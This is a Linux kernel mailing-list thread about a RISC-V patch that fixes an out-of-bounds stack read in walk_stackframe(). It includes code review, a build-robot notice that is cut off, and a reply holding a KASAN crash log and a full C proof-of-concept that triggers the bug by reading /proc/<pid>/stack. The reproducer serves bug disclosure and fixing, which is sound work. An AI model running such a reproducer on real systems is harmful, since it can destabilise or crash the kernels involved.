* [PATCH v3] riscv: stacktrace: fix stack-out-of-bounds in walk_stackframe()
@ 2026-06-25 12:39 ` Jiakai Xu
0 siblings, 0 replies; 12+ messages in thread
From: Jiakai Xu @ 2026-06-25 12:39 UTC (permalink / raw)
To: linux-kernel, linux-riscv
Cc: Albert Ou, Alexandre Ghiti, Chunyan Zhang, Jiakai Xu,
Matthew Bystrin, Palmer Dabbelt, Paul Walmsley, Rui Qi,
Samuel Holland, Jiakai Xu
The fp_is_valid() function uses ALIGN(sp, THREAD_SIZE) as the upper
bound for the frame pointer check. This bound is calculated relative
to the current sp and shifts upward when sp itself exceeds the valid
stack region, allowing the unwinder to read past the end of the
allocated task stack and triggering KASAN stack-out-of-bounds.
Fix this by using the absolute task stack boundary (task_pt_regs(task))
when sp is on the task stack. When CONFIG_IRQ_STACKS is enabled and
sp is on the IRQ stack, use the IRQ stack's top as the upper bound
instead, since task_pt_regs() points to the task stack's pt_regs
which is on a different stack and would give a wrong boundary.
This check is done once before the unwind loop, based on the initial
sp value. When unwinding starts on the IRQ stack, the IRQ stack
boundary is used for all frames, including those on the task stack
reached after crossing the call_on_irq_stack() transition. This is
safe because the IRQ stack and task stack are separate allocations;
the IRQ stack boundary will not incorrectly reject task stack frames
that are below it.
Fixes: a2a4d4a6a0bf ("riscv: stacktrace: fixed walk_stackframe()")
Signed-off-by: Jiakai Xu <jiakaiPeanut@gmail.com>
Signed-off-by: Jiakai Xu <xujiakai2025@iscas.ac.cn>
Assisted-by: YuanSheng:DeepSeek-V3.2
---
V2 -> V3:
- Handled the case where sp is on the IRQ stack (CONFIG_IRQ_STACKS),
as suggested by Nam Cao: when sp is not within the task stack
range, use the IRQ stack's top (irq_stack_ptr + IRQ_STACK_SIZE)
as the upper bound instead of task_pt_regs(), which would point
to the wrong stack. The check uses the sp variable directly rather
than on_thread_stack(), because on_thread_stack() reads the
current CPU register sp which may differ from the unwinder's sp
when regs is provided.
- Used IS_ENABLED(CONFIG_IRQ_STACKS) to guard the IRQ stack check,
and cast irq_stack_ptr to unsigned long for byte-level arithmetic.
https://lore.kernel.org/linux-riscv/20260517143704.659416-1-xujiakai2025@iscas.ac.cn/T/#u
V1 -> V2:
- Moved the NULL task check from fp_is_valid() into walk_stackframe(),
as suggested by Matthew Bystrin.
- Changed the upper bound from task_stack_page(task) + THREAD_SIZE to
task_pt_regs(task) for a tighter boundary, as suggested by Matthew
Bystrin.
https://lore.kernel.org/linux-riscv/20260514100711.838895-1-xujiakai2025@iscas.ac.cn/t/#u
---
arch/riscv/kernel/stacktrace.c | 29 +++++++++++++++++++++++------
1 file changed, 23 insertions(+), 6 deletions(-)
diff --git a/arch/riscv/kernel/stacktrace.c b/arch/riscv/kernel/stacktrace.c
index c7555447149b..b47a8acf4759 100644
--- a/arch/riscv/kernel/stacktrace.c
+++ b/arch/riscv/kernel/stacktrace.c
@@ -35,12 +35,16 @@
extern asmlinkage void handle_exception(void);
extern unsigned long ret_from_exception_end;
-static inline int fp_is_valid(unsigned long fp, unsigned long sp)
+#ifdef CONFIG_IRQ_STACKS
+DECLARE_PER_CPU(ulong *, irq_stack_ptr);
+#endif
+
+static inline int fp_is_valid(unsigned long fp, unsigned long sp,
+ unsigned long high)
{
- unsigned long low, high;
+ unsigned long low;
low = sp + sizeof(struct stackframe);
- high = ALIGN(sp, THREAD_SIZE);
return !(fp < low || fp > high || fp & 0x07);
}
@@ -48,7 +52,7 @@ static inline int fp_is_valid(unsigned long fp, unsigned long sp)
void notrace walk_stackframe(struct task_struct *task, struct pt_regs *regs,
bool (*fn)(void *, unsigned long), void *arg)
{
- unsigned long fp, sp, pc;
+ unsigned long fp, sp, pc, high;
int graph_idx = 0;
int level = 0;
@@ -68,19 +72,32 @@ void notrace walk_stackframe(struct task_struct *task, struct pt_regs *regs,
pc = task->thread.ra;
}
+ if (!task)
+ task = current;
+
+ if (sp >= (unsigned long)task_stack_page(task) &&
+ sp < (unsigned long)task_stack_page(task) + THREAD_SIZE) {
+ high = (unsigned long)task_pt_regs(task);
+ } else if (IS_ENABLED(CONFIG_IRQ_STACKS)) {
+ high = (unsigned long)this_cpu_read(irq_stack_ptr) +
+ IRQ_STACK_SIZE;
+ } else {
+ high = (unsigned long)task_pt_regs(task);
+ }
+
for (;;) {
struct stackframe *frame;
if (unlikely(!__kernel_text_address(pc) || (level++ >= 0 && !fn(arg, pc))))
break;
- if (unlikely(!fp_is_valid(fp, sp)))
+ if (unlikely(!fp_is_valid(fp, sp, high)))
break;
/* Unwind stack frame */
frame = (struct stackframe *)fp - 1;
sp = fp;
- if (regs && (regs->epc == pc) && fp_is_valid(frame->ra, sp)) {
+ if (regs && (regs->epc == pc) && fp_is_valid(frame->ra, sp, high)) {
/* We hit function where ra is not saved on the stack */
fp = frame->ra;
pc = regs->ra;
--
2.34.1
^ permalink raw reply related [flat|nested] 12+ messages in thread* Re: [PATCH v3] riscv: stacktrace: fix stack-out-of-bounds in walk_stackframe()
2026-06-25 12:39 ` Jiakai Xu
@ 2026-06-27 11:59 ` Nam Cao
-1 siblings, 0 replies; 12+ messages in thread
From: Nam Cao @ 2026-06-27 11:59 UTC (permalink / raw)
To: Jiakai Xu, linux-kernel, linux-riscv
Cc: Albert Ou, Alexandre Ghiti, Chunyan Zhang, Jiakai Xu,
Matthew Bystrin, Palmer Dabbelt, Paul Walmsley, Rui Qi,
Samuel Holland, Jiakai Xu
Jiakai Xu <xujiakai2025@iscas.ac.cn> writes:
> +#ifdef CONFIG_IRQ_STACKS
> +DECLARE_PER_CPU(ulong *, irq_stack_ptr);
> +#endif
Instead of this, shouldn't we
#include <asm/irq_stack.h>
?
> + if (sp >= (unsigned long)task_stack_page(task) &&
> + sp < (unsigned long)task_stack_page(task) + THREAD_SIZE) {
> + high = (unsigned long)task_pt_regs(task);
> + } else if (IS_ENABLED(CONFIG_IRQ_STACKS)) {
> + high = (unsigned long)this_cpu_read(irq_stack_ptr) +
> + IRQ_STACK_SIZE;
I suspect this fails to build if CONFIG_IRQ_STACKS=n, which would be
resolved if we do the suggested #include above.
> + } else {
> + high = (unsigned long)task_pt_regs(task);
We only get to this branch if the stack pointer is broken, right? If so,
I think printing a warning and returning is more appropriate.
Nam
^ permalink raw reply [flat|nested] 12+ messages in thread* Re: [PATCH v3] riscv: stacktrace: fix stack-out-of-bounds in walk_stackframe()
@ 2026-06-27 11:59 ` Nam Cao
0 siblings, 0 replies; 12+ messages in thread
From: Nam Cao @ 2026-06-27 11:59 UTC (permalink / raw)
To: Jiakai Xu, linux-kernel, linux-riscv
Cc: Albert Ou, Alexandre Ghiti, Chunyan Zhang, Jiakai Xu,
Matthew Bystrin, Palmer Dabbelt, Paul Walmsley, Rui Qi,
Samuel Holland, Jiakai Xu
Jiakai Xu <xujiakai2025@iscas.ac.cn> writes:
> +#ifdef CONFIG_IRQ_STACKS
> +DECLARE_PER_CPU(ulong *, irq_stack_ptr);
> +#endif
Instead of this, shouldn't we
#include <asm/irq_stack.h>
?
> + if (sp >= (unsigned long)task_stack_page(task) &&
> + sp < (unsigned long)task_stack_page(task) + THREAD_SIZE) {
> + high = (unsigned long)task_pt_regs(task);
> + } else if (IS_ENABLED(CONFIG_IRQ_STACKS)) {
> + high = (unsigned long)this_cpu_read(irq_stack_ptr) +
> + IRQ_STACK_SIZE;
I suspect this fails to build if CONFIG_IRQ_STACKS=n, which would be
resolved if we do the suggested #include above.
> + } else {
> + high = (unsigned long)task_pt_regs(task);
We only get to this branch if the stack pointer is broken, right? If so,
I think printing a warning and returning is more appropriate.
Nam
_______________________________________________
linux-riscv mailing list
linux-riscv@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/linux-riscv
^ permalink raw reply [flat|nested] 12+ messages in thread* Re: [PATCH v3] riscv: stacktrace: fix stack-out-of-bounds in walk_stackframe()
2026-06-27 11:59 ` Nam Cao
@ 2026-06-30 8:45 ` Jiakai Xu
-1 siblings, 0 replies; 12+ messages in thread
From: Jiakai Xu @ 2026-06-30 8:45 UTC (permalink / raw)
To: namcao
Cc: alex, aou, dev.mbstr, jiakaiPeanut, linux-kernel, linux-riscv,
palmer, pjw, qirui.001, samuel.holland, xujiakai2025,
zhangchunyan
> Jiakai Xu <xujiakai2025@iscas.ac.cn> writes:
> > +#ifdef CONFIG_IRQ_STACKS
> > +DECLARE_PER_CPU(ulong *, irq_stack_ptr);
> > +#endif
>
> Instead of this, shouldn't we
> #include <asm/irq_stack.h>
> ?
>
> > + if (sp >= (unsigned long)task_stack_page(task) &&
> > + sp < (unsigned long)task_stack_page(task) + THREAD_SIZE) {
> > + high = (unsigned long)task_pt_regs(task);
> > + } else if (IS_ENABLED(CONFIG_IRQ_STACKS)) {
> > + high = (unsigned long)this_cpu_read(irq_stack_ptr) +
> > + IRQ_STACK_SIZE;
>
> I suspect this fails to build if CONFIG_IRQ_STACKS=n, which would be
> resolved if we do the suggested #include above.
>
> > + } else {
> > + high = (unsigned long)task_pt_regs(task);
>
> We only get to this branch if the stack pointer is broken, right? If so,
> I think printing a warning and returning is more appropriate.
Thanks for the review! All three points make sense. I'll switch to
#include <asm/irq_stack.h>, and change the fallback else branch to
warn and return instead of silently using task_pt_regs(). Will send
a v4 with these fixed.
Jiakai
_______________________________________________
linux-riscv mailing list
linux-riscv@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/linux-riscv
^ permalink raw reply [flat|nested] 12+ messages in thread* Re: [PATCH v3] riscv: stacktrace: fix stack-out-of-bounds in walk_stackframe()
@ 2026-06-30 8:45 ` Jiakai Xu
0 siblings, 0 replies; 12+ messages in thread
From: Jiakai Xu @ 2026-06-30 8:45 UTC (permalink / raw)
To: namcao
Cc: alex, aou, dev.mbstr, jiakaiPeanut, linux-kernel, linux-riscv,
palmer, pjw, qirui.001, samuel.holland, xujiakai2025,
zhangchunyan
> Jiakai Xu <xujiakai2025@iscas.ac.cn> writes:
> > +#ifdef CONFIG_IRQ_STACKS
> > +DECLARE_PER_CPU(ulong *, irq_stack_ptr);
> > +#endif
>
> Instead of this, shouldn't we
> #include <asm/irq_stack.h>
> ?
>
> > + if (sp >= (unsigned long)task_stack_page(task) &&
> > + sp < (unsigned long)task_stack_page(task) + THREAD_SIZE) {
> > + high = (unsigned long)task_pt_regs(task);
> > + } else if (IS_ENABLED(CONFIG_IRQ_STACKS)) {
> > + high = (unsigned long)this_cpu_read(irq_stack_ptr) +
> > + IRQ_STACK_SIZE;
>
> I suspect this fails to build if CONFIG_IRQ_STACKS=n, which would be
> resolved if we do the suggested #include above.
>
> > + } else {
> > + high = (unsigned long)task_pt_regs(task);
>
> We only get to this branch if the stack pointer is broken, right? If so,
> I think printing a warning and returning is more appropriate.
Thanks for the review! All three points make sense. I'll switch to
#include <asm/irq_stack.h>, and change the fallback else branch to
warn and return instead of silently using task_pt_regs(). Will send
a v4 with these fixed.
Jiakai
^ permalink raw reply [flat|nested] 12+ messages in thread
* Re: [PATCH v3] riscv: stacktrace: fix stack-out-of-bounds in walk_stackframe()
2026-06-25 12:39 ` Jiakai Xu
@ 2026-06-28 19:02 ` XIAO WU
-1 siblings, 0 replies; 12+ messages in thread
From: XIAO WU @ 2026-06-28 19:02 UTC (permalink / raw)
To: Jiakai Xu, linux-kernel, linux-riscv
Cc: Albert Ou, Alexandre Ghiti, Chunyan Zhang, Matthew Bystrin,
Palmer Dabbelt, Paul Walmsley, Rui Qi, Samuel Holland, Jiakai Xu
Hi Jiakai,
I came across the Sashiko AI review of this patch and was able to
reproduce the overflow_stack OOB issue it flagged — a KASAN
stack-out-of-bounds in walk_stackframe() on riscv64 QEMU.
The Sashiko review is at:
https://sashiko.dev/#/patchset/20260625123906.211981-1-xujiakai2025@iscas.ac.cn
> @@ -52,19 +56,32 @@ void notrace walk_stackframe(struct task_struct
*task, struct pt_regs *regs,
> pc = task->thread.ra;
> }
>
> + if (!task)
> + task = current;
> +
> + if (sp >= (unsigned long)task_stack_page(task) &&
> + sp < (unsigned long)task_stack_page(task) + THREAD_SIZE) {
> + high = (unsigned long)task_pt_regs(task);
> + } else if (IS_ENABLED(CONFIG_IRQ_STACKS)) {
> + high = (unsigned long)this_cpu_read(irq_stack_ptr) +
> + IRQ_STACK_SIZE;
> + } else {
> + high = (unsigned long)task_pt_regs(task);
> + }
When the stack pointer falls outside the task stack — for example when
unwinding from the overflow_stack during a stack overflow panic, or
when reading /proc/<pid>/stack for a remote task whose saved SP
happens to be on the overflow_stack — this code falls through to the
`IS_ENABLED(CONFIG_IRQ_STACKS)` branch and uses the IRQ stack boundary
as the upper limit.
The IRQ stack is 32KB (IRQ_STACK_SIZE) while the overflow_stack is
only 4KB (OVERFLOW_STACK_SIZE). Using the IRQ stack boundary when the
SP is actually on the overflow_stack lets the unwinder read well past
the end of the valid overflow_stack allocation, triggering a KASAN
stack-out-of-bounds.
=== Reproduction ===
Kernel: 6.17.0-rc3-gab53ade87879 #1 PREEMPT
Arch: riscv64 (qemu-system-riscv64, riscv-virtio,qemu DT)
Config: CONFIG_KASAN=y
Trigger: read /proc/<pid>/stack for a remote task (e.g. via ptrace).
=== Crash Log ===
[ 862.045445][ T5937] BUG: KASAN: stack-out-of-bounds in
walk_stackframe+0x5c4/0x66e
[ 862.046336][ T5937] Read of size 8 at addr ff200000076676c8 by task
poc/5937
[ 862.048426][ T5937] CPU: 1 UID: 0 PID: 5937 Comm: poc Not tainted
6.17.0-rc3-gab53ade87879 #1 PREEMPT
[ 862.048684][ T5937] Hardware name: riscv-virtio,qemu (DT)
[ 862.048684][ T5937] Call Trace:
[ 862.049044][ T5937] [<ffffffff8008d882>] dump_backtrace+0x2e/0x3c
[ 862.049257][ T5937] [<ffffffff8000326e>] show_stack+0x30/0x3c
[ 862.049427][ T5937] [<ffffffff80074b88>] dump_stack_lvl+0x11a/0x1b0
[ 862.049628][ T5937] [<ffffffff8000ee60>] print_report+0x29a/0x5b8
[ 862.049838][ T5937] [<ffffffff80b0f9d8>] kasan_report+0xf0/0x21c
[ 862.050031][ T5937] [<ffffffff80b1199a>]
__asan_report_load8_noabort+0x12/0x1a
[ 862.050267][ T5937] [<ffffffff8008d300>] walk_stackframe+0x5c4/0x66e
[ 862.050432][ T5937] [<ffffffff86c65936>] arch_stack_walk+0x1c/0x26
[ 862.050644][ T5937] [<ffffffff803e2f88>] stack_trace_save_tsk+0x164/0x1f2
[ 862.050867][ T5937] [<ffffffff80e58e28>] proc_pid_stack+0x170/0x282
[ 862.051032][ T5937] [<ffffffff80e5adda>] proc_single_show+0xea/0x1ca
[ 862.051205][ T5937] [<ffffffff80cbea02>] seq_read_iter+0x438/0x1098
[ 862.051585][ T5937] [<ffffffff80c05982>] vfs_read+0x2f0/0xaf8
[ 862.052052][ T5937] [<ffffffff80c08184>] ksys_read+0x126/0x238
[ 862.052550][ T5937] [<ffffffff86c8deb0>] handle_exception+0x150/0x15c
[ 862.053115][ T5937] The buggy address belongs to a 8-page vmalloc region
[ 862.093883][ T5937]
==================================================================
=== PoC ===
Build: riscv64-linux-gnu-gcc -o poc poc.c -static
Run: ./poc (on riscv64)
// SPDX-License-Identifier: GPL-2.0-only
// PoC: Trigger KASAN stack-out-of-bounds in walk_stackframe() on RISC-V
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/ptrace.h>
#include <sched.h>
#include <signal.h>
#include <time.h>
#include <linux/perf_event.h>
static const char *prog;
static void fail(const char *msg)
{
fprintf(stderr, "[FAIL] %s: %s: %m\n", msg, prog);
exit(1);
}
static void info(const char *msg)
{
fprintf(stderr, "[INFO] %s\n", msg);
}
static void check_dmesg(const char *label)
{
char line[4096];
FILE *f;
int found = 0;
f = popen("dmesg 2>/dev/null | tail -200", "r");
if (!f) return;
while (fgets(line, sizeof(line), f)) {
if (strstr(line, "KASAN") ||
strstr(line, "stack-out-of-bounds") ||
strstr(line, "walk_stackframe") ||
strstr(line, "out-of-bounds") ||
strstr(line, "Oops") ||
strstr(line, "kernel BUG") ||
strstr(line, "Kernel panic") ||
strstr(line, "Call Trace")) {
if (!found) {
fprintf(stderr, "\n=== Dmesg output after %s ===\n",
label);
found = 1;
}
fprintf(stderr, "%s", line);
}
}
pclose(f);
if (found) fprintf(stderr, "=== End dmesg ===\n\n");
}
/* Approach: self stack trace with deep directory recursion */
static void try_self_stack_trace(void)
{
pid_t pid = fork();
if (pid < 0) return;
if (pid == 0) {
char dir[256];
int i;
getcwd(dir, sizeof(dir));
for (i = 0; i < 500; i++) {
char subdir[300];
snprintf(subdir, sizeof(subdir), "%s/d%d", dir, i);
mkdir(subdir, 0755);
chdir(subdir);
}
for (i = 0; i < 1000; i++) {
FILE *f = fopen("/proc/self/stack", "r");
if (f) {
char buf[4096];
while (fgets(buf, sizeof(buf), f)) { }
fclose(f);
}
char path[64];
snprintf(path, sizeof(path), "/proc/%d/stack", getpid());
f = fopen(path, "r");
if (f) {
char buf[4096];
while (fgets(buf, sizeof(buf), f)) { }
fclose(f);
}
}
_exit(0);
}
waitpid(pid, NULL, 0);
check_dmesg("self_stack_trace");
}
/* Approach: remote task stack trace via ptrace */
static void try_remote_task(void)
{
pid_t child = fork();
int status, i;
if (child < 0) return;
if (child == 0) {
if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0)
_exit(1);
raise(SIGSTOP);
struct timespec ts = { .tv_sec = 1, .tv_nsec = 0 };
nanosleep(&ts, NULL);
_exit(0);
}
waitpid(child, &status, 0);
if (!WIFSTOPPED(status)) waitpid(child, &status, 0);
for (i = 0; i < 100; i++) {
char path[64];
FILE *f;
snprintf(path, sizeof(path), "/proc/%d/stack", child);
f = fopen(path, "r");
if (f) {
char buf[4096];
while (fgets(buf, sizeof(buf), f)) { }
fclose(f);
}
}
ptrace(PTRACE_CONT, child, NULL, NULL);
waitpid(child, &status, 0);
check_dmesg("remote_task");
}
int main(int argc, char **argv)
{
prog = argv[0];
info("=== RISC-V walk_stackframe() stack OOB PoC ===");
info("Bug: overflow_stack (4KB) unwinding uses IRQ stack bound
(32KB)");
info("");
system("dmesg -c > /dev/null 2>&1 || true");
try_self_stack_trace();
try_remote_task();
info("Final dmesg check...");
check_dmesg("final");
info("PoC completed.");
return 0;
}
Thanks,
Xiao
^ permalink raw reply [flat|nested] 12+ messages in thread* Re: [PATCH v3] riscv: stacktrace: fix stack-out-of-bounds in walk_stackframe()
@ 2026-06-28 19:02 ` XIAO WU
0 siblings, 0 replies; 12+ messages in thread
From: XIAO WU @ 2026-06-28 19:02 UTC (permalink / raw)
To: Jiakai Xu, linux-kernel, linux-riscv
Cc: Albert Ou, Alexandre Ghiti, Chunyan Zhang, Matthew Bystrin,
Palmer Dabbelt, Paul Walmsley, Rui Qi, Samuel Holland, Jiakai Xu
Hi Jiakai,
I came across the Sashiko AI review of this patch and was able to
reproduce the overflow_stack OOB issue it flagged — a KASAN
stack-out-of-bounds in walk_stackframe() on riscv64 QEMU.
The Sashiko review is at:
https://sashiko.dev/#/patchset/20260625123906.211981-1-xujiakai2025@iscas.ac.cn
> @@ -52,19 +56,32 @@ void notrace walk_stackframe(struct task_struct
*task, struct pt_regs *regs,
> pc = task->thread.ra;
> }
>
> + if (!task)
> + task = current;
> +
> + if (sp >= (unsigned long)task_stack_page(task) &&
> + sp < (unsigned long)task_stack_page(task) + THREAD_SIZE) {
> + high = (unsigned long)task_pt_regs(task);
> + } else if (IS_ENABLED(CONFIG_IRQ_STACKS)) {
> + high = (unsigned long)this_cpu_read(irq_stack_ptr) +
> + IRQ_STACK_SIZE;
> + } else {
> + high = (unsigned long)task_pt_regs(task);
> + }
When the stack pointer falls outside the task stack — for example when
unwinding from the overflow_stack during a stack overflow panic, or
when reading /proc/<pid>/stack for a remote task whose saved SP
happens to be on the overflow_stack — this code falls through to the
`IS_ENABLED(CONFIG_IRQ_STACKS)` branch and uses the IRQ stack boundary
as the upper limit.
The IRQ stack is 32KB (IRQ_STACK_SIZE) while the overflow_stack is
only 4KB (OVERFLOW_STACK_SIZE). Using the IRQ stack boundary when the
SP is actually on the overflow_stack lets the unwinder read well past
the end of the valid overflow_stack allocation, triggering a KASAN
stack-out-of-bounds.
=== Reproduction ===
Kernel: 6.17.0-rc3-gab53ade87879 #1 PREEMPT
Arch: riscv64 (qemu-system-riscv64, riscv-virtio,qemu DT)
Config: CONFIG_KASAN=y
Trigger: read /proc/<pid>/stack for a remote task (e.g. via ptrace).
=== Crash Log ===
[ 862.045445][ T5937] BUG: KASAN: stack-out-of-bounds in
walk_stackframe+0x5c4/0x66e
[ 862.046336][ T5937] Read of size 8 at addr ff200000076676c8 by task
poc/5937
[ 862.048426][ T5937] CPU: 1 UID: 0 PID: 5937 Comm: poc Not tainted
6.17.0-rc3-gab53ade87879 #1 PREEMPT
[ 862.048684][ T5937] Hardware name: riscv-virtio,qemu (DT)
[ 862.048684][ T5937] Call Trace:
[ 862.049044][ T5937] [<ffffffff8008d882>] dump_backtrace+0x2e/0x3c
[ 862.049257][ T5937] [<ffffffff8000326e>] show_stack+0x30/0x3c
[ 862.049427][ T5937] [<ffffffff80074b88>] dump_stack_lvl+0x11a/0x1b0
[ 862.049628][ T5937] [<ffffffff8000ee60>] print_report+0x29a/0x5b8
[ 862.049838][ T5937] [<ffffffff80b0f9d8>] kasan_report+0xf0/0x21c
[ 862.050031][ T5937] [<ffffffff80b1199a>]
__asan_report_load8_noabort+0x12/0x1a
[ 862.050267][ T5937] [<ffffffff8008d300>] walk_stackframe+0x5c4/0x66e
[ 862.050432][ T5937] [<ffffffff86c65936>] arch_stack_walk+0x1c/0x26
[ 862.050644][ T5937] [<ffffffff803e2f88>] stack_trace_save_tsk+0x164/0x1f2
[ 862.050867][ T5937] [<ffffffff80e58e28>] proc_pid_stack+0x170/0x282
[ 862.051032][ T5937] [<ffffffff80e5adda>] proc_single_show+0xea/0x1ca
[ 862.051205][ T5937] [<ffffffff80cbea02>] seq_read_iter+0x438/0x1098
[ 862.051585][ T5937] [<ffffffff80c05982>] vfs_read+0x2f0/0xaf8
[ 862.052052][ T5937] [<ffffffff80c08184>] ksys_read+0x126/0x238
[ 862.052550][ T5937] [<ffffffff86c8deb0>] handle_exception+0x150/0x15c
[ 862.053115][ T5937] The buggy address belongs to a 8-page vmalloc region
[ 862.093883][ T5937]
==================================================================
=== PoC ===
Build: riscv64-linux-gnu-gcc -o poc poc.c -static
Run: ./poc (on riscv64)
// SPDX-License-Identifier: GPL-2.0-only
// PoC: Trigger KASAN stack-out-of-bounds in walk_stackframe() on RISC-V
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/ptrace.h>
#include <sched.h>
#include <signal.h>
#include <time.h>
#include <linux/perf_event.h>
static const char *prog;
static void fail(const char *msg)
{
fprintf(stderr, "[FAIL] %s: %s: %m\n", msg, prog);
exit(1);
}
static void info(const char *msg)
{
fprintf(stderr, "[INFO] %s\n", msg);
}
static void check_dmesg(const char *label)
{
char line[4096];
FILE *f;
int found = 0;
f = popen("dmesg 2>/dev/null | tail -200", "r");
if (!f) return;
while (fgets(line, sizeof(line), f)) {
if (strstr(line, "KASAN") ||
strstr(line, "stack-out-of-bounds") ||
strstr(line, "walk_stackframe") ||
strstr(line, "out-of-bounds") ||
strstr(line, "Oops") ||
strstr(line, "kernel BUG") ||
strstr(line, "Kernel panic") ||
strstr(line, "Call Trace")) {
if (!found) {
fprintf(stderr, "\n=== Dmesg output after %s ===\n",
label);
found = 1;
}
fprintf(stderr, "%s", line);
}
}
pclose(f);
if (found) fprintf(stderr, "=== End dmesg ===\n\n");
}
/* Approach: self stack trace with deep directory recursion */
static void try_self_stack_trace(void)
{
pid_t pid = fork();
if (pid < 0) return;
if (pid == 0) {
char dir[256];
int i;
getcwd(dir, sizeof(dir));
for (i = 0; i < 500; i++) {
char subdir[300];
snprintf(subdir, sizeof(subdir), "%s/d%d", dir, i);
mkdir(subdir, 0755);
chdir(subdir);
}
for (i = 0; i < 1000; i++) {
FILE *f = fopen("/proc/self/stack", "r");
if (f) {
char buf[4096];
while (fgets(buf, sizeof(buf), f)) { }
fclose(f);
}
char path[64];
snprintf(path, sizeof(path), "/proc/%d/stack", getpid());
f = fopen(path, "r");
if (f) {
char buf[4096];
while (fgets(buf, sizeof(buf), f)) { }
fclose(f);
}
}
_exit(0);
}
waitpid(pid, NULL, 0);
check_dmesg("self_stack_trace");
}
/* Approach: remote task stack trace via ptrace */
static void try_remote_task(void)
{
pid_t child = fork();
int status, i;
if (child < 0) return;
if (child == 0) {
if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0)
_exit(1);
raise(SIGSTOP);
struct timespec ts = { .tv_sec = 1, .tv_nsec = 0 };
nanosleep(&ts, NULL);
_exit(0);
}
waitpid(child, &status, 0);
if (!WIFSTOPPED(status)) waitpid(child, &status, 0);
for (i = 0; i < 100; i++) {
char path[64];
FILE *f;
snprintf(path, sizeof(path), "/proc/%d/stack", child);
f = fopen(path, "r");
if (f) {
char buf[4096];
while (fgets(buf, sizeof(buf), f)) { }
fclose(f);
}
}
ptrace(PTRACE_CONT, child, NULL, NULL);
waitpid(child, &status, 0);
check_dmesg("remote_task");
}
int main(int argc, char **argv)
{
prog = argv[0];
info("=== RISC-V walk_stackframe() stack OOB PoC ===");
info("Bug: overflow_stack (4KB) unwinding uses IRQ stack bound
(32KB)");
info("");
system("dmesg -c > /dev/null 2>&1 || true");
try_self_stack_trace();
try_remote_task();
info("Final dmesg check...");
check_dmesg("final");
info("PoC completed.");
return 0;
}
Thanks,
Xiao
_______________________________________________
linux-riscv mailing list
linux-riscv@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/linux-riscv
^ permalink raw reply [flat|nested] 12+ messages in thread* Re: [PATCH v3] riscv: stacktrace: fix stack-out-of-bounds in walk_stackframe()
2026-06-28 19:02 ` XIAO WU
@ 2026-06-30 8:50 ` Jiakai Xu
-1 siblings, 0 replies; 12+ messages in thread
From: Jiakai Xu @ 2026-06-30 8:50 UTC (permalink / raw)
To: xiaowu.417
Cc: alex, aou, dev.mbstr, jiakaiPeanut, linux-kernel, linux-riscv,
palmer, pjw, qirui.001, samuel.holland, xujiakai2025,
zhangchunyan
> Hi Jiakai,
>
> I came across the Sashiko AI review of this patch and was able to
> reproduce the overflow_stack OOB issue it flagged — a KASAN
> stack-out-of-bounds in walk_stackframe() on riscv64 QEMU.
Hi Xiao,
Thanks for the testing and the PoC.
> When the stack pointer falls outside the task stack — for example when
> unwinding from the overflow_stack during a stack overflow panic, or
> when reading /proc/<pid>/stack for a remote task whose saved SP
> happens to be on the overflow_stack — this code falls through to the
> `IS_ENABLED(CONFIG_IRQ_STACKS)` branch and uses the IRQ stack boundary
> as the upper limit.
>
> The IRQ stack is 32KB (IRQ_STACK_SIZE) while the overflow_stack is
> only 4KB (OVERFLOW_STACK_SIZE). Using the IRQ stack boundary when the
> SP is actually on the overflow_stack lets the unwinder read well past
> the end of the valid overflow_stack allocation, triggering a KASAN
> stack-out-of-bounds.
Good point. I'll add a dedicated overflow_stack check with the
correct 4 KiB boundary.
Jiakai
^ permalink raw reply [flat|nested] 12+ messages in thread
* Re: [PATCH v3] riscv: stacktrace: fix stack-out-of-bounds in walk_stackframe()
@ 2026-06-30 8:50 ` Jiakai Xu
0 siblings, 0 replies; 12+ messages in thread
From: Jiakai Xu @ 2026-06-30 8:50 UTC (permalink / raw)
To: xiaowu.417
Cc: alex, aou, dev.mbstr, jiakaiPeanut, linux-kernel, linux-riscv,
palmer, pjw, qirui.001, samuel.holland, xujiakai2025,
zhangchunyan
> Hi Jiakai,
>
> I came across the Sashiko AI review of this patch and was able to
> reproduce the overflow_stack OOB issue it flagged — a KASAN
> stack-out-of-bounds in walk_stackframe() on riscv64 QEMU.
Hi Xiao,
Thanks for the testing and the PoC.
> When the stack pointer falls outside the task stack — for example when
> unwinding from the overflow_stack during a stack overflow panic, or
> when reading /proc/<pid>/stack for a remote task whose saved SP
> happens to be on the overflow_stack — this code falls through to the
> `IS_ENABLED(CONFIG_IRQ_STACKS)` branch and uses the IRQ stack boundary
> as the upper limit.
>
> The IRQ stack is 32KB (IRQ_STACK_SIZE) while the overflow_stack is
> only 4KB (OVERFLOW_STACK_SIZE). Using the IRQ stack boundary when the
> SP is actually on the overflow_stack lets the unwinder read well past
> the end of the valid overflow_stack allocation, triggering a KASAN
> stack-out-of-bounds.
Good point. I'll add a dedicated overflow_stack check with the
correct 4 KiB boundary.
Jiakai
_______________________________________________
linux-riscv mailing list
linux-riscv@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/linux-riscv
^ permalink raw reply [flat|nested] 12+ messages in thread
* Re: [PATCH v3] riscv: stacktrace: fix stack-out-of-bounds in walk_stackframe()
2026-06-25 12:39 ` Jiakai Xu
@ 2026-08-12 18:46 ` kernel test robot
-1 siblings, 0 replies; 12+ messages in thread
From: kernel test robot @ 2026-08-12 18:46 UTC (permalink / raw)
To: Jiakai Xu, linux-kernel, linux-riscv
Cc: oe-kbuild-all, Albert Ou, Alexandre Ghiti, Chunyan Zhang,
Jiakai Xu, Matthew Bystrin, Palmer Dabbelt, Paul Walmsley, Rui Qi,
Samuel Holland
Hi Jiakai,
kernel test robot noticed the following build errors:
[auto build test ERROR on linus/master]
[also build test ERROR on v7.2-rc7 next-20260811]
[If your patch is applied to the wrong git tree, kindly drop us a note.
And when submitting patch, we suggest to use '--base' as documented in
